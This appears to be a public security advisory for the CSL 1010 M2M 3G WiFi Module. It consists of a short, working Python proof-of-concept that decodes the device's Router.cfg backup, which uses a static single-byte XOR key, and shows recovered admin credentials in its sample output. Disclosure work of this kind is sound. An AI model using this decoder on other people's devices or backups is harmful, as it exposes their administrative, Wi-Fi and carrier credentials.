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CSL 1010 M2M 3G WiFi Module 2.2.1.4 (Router.cfg) Weak XOR Encryption

🗓️ 30 Jul 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 41 Views

The device uses a weak single-byte XOR cipher with a static key to obfuscate Router.cfg, exposing all credentials in plaintext.

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<html><body><p>#!/usr/bin/env python3   ###############################################
#                                                                      #
#                                                                      #
# CSL 1010 M2M 3G WiFi Module 2.2.1.4 (Router.cfg) Weak XOR Encryption #
#                                                                      #
#                                                                      #
# Vendor: CSL Mobile Limited   #########################################
# Product web page: https://1010.com.hk   ##############################
# Affected version: 2.2.1.4   ##########################################
#                                                                      #
# Summary: The CSL 1010 M2M 3G WiFi Module is   ########################
# a portable 3G/LTE router that stores its   ###########################
# configuration in a backup file (Router.cfg).   #######################
#                                                                      #
# Desc: The device protects its configuration   ########################
# file (Router.cfg) with a weak/insecure   #############################
# obfuscation (single-byte XOR cipher) using   #########################
# a static key (0xEC) instead of real encryption.   ####################
# Because the same key is applied to the entire   ######################
# file, it is trivially recovered and the   ############################
# configuration can be decoded back to cleartext   #####################
# with a few lines of code. This discloses   ###########################
# all stored secrets in plaintext, including   #########################
# the web administration and telnet passwords,   #######################
# the WPA/WPA2 pre-shared key, PPPoE/3G/APN   ##########################
# credentials, and SIM identifiers (IMSI/IMEI).   ######################
#                                                                      #
# ==================================================================== #
# $ python 5350Dec.py Router.cfg |findstr /spina:d admin   #############
#                                                                      #
# [+] deshifrirano -&gt; decoded-Router.cfg.txt   #########################
# 165:http_username=admin   ############################################
# 255:http_passwd=admin   ##############################################
# 593:samba_user_list=1;admin;admin;/var/mnt/;1;1;1   ##################
#                                                                      #
# ==================================================================== #
#                                                                      #
# Tested on: httpd   ###################################################
#            Ralink RT5350   ###########################################
#                                                                      #
#                                                                      #
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic   ##############
#                             @zeroscience   ###########################
#                                                                      #
#                                                                      #
# Advisory ID: ZSL-2026-6000   #########################################
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6000  #
#                                                                      #
#                                                                      #
# 25.07.2026   #########################################################
#                                                                      #
########################################################################

import re  as re
import os  as os
import sys as si

if len(si.argv) &lt; 2:
    si.exit("Usage: %s Router.cfg [-o outfile]" % os.path.basename(si.argv[0]))

cfg = si.argv[1]
out = si.argv[3] if si.argv[2:3] == ["-o"] and len(si.argv) &gt; 3 else "decoded-%s.txt" % os.path.basename(cfg)

blob = open(cfg, "rb").read()
blob = bytes(b ^ 0xEC for b in (blob[4:] if blob[:4] == b"R3G2" else blob))
text = "\n".join(s.decode() for s in re.findall(rb"[\x20-\x7e]{3,}", blob))

open(out, "w").write(text)
print(text)
si.stderr.write("\n[+] deshifrirano -&gt; %s\n" % out)
</p></body></html>

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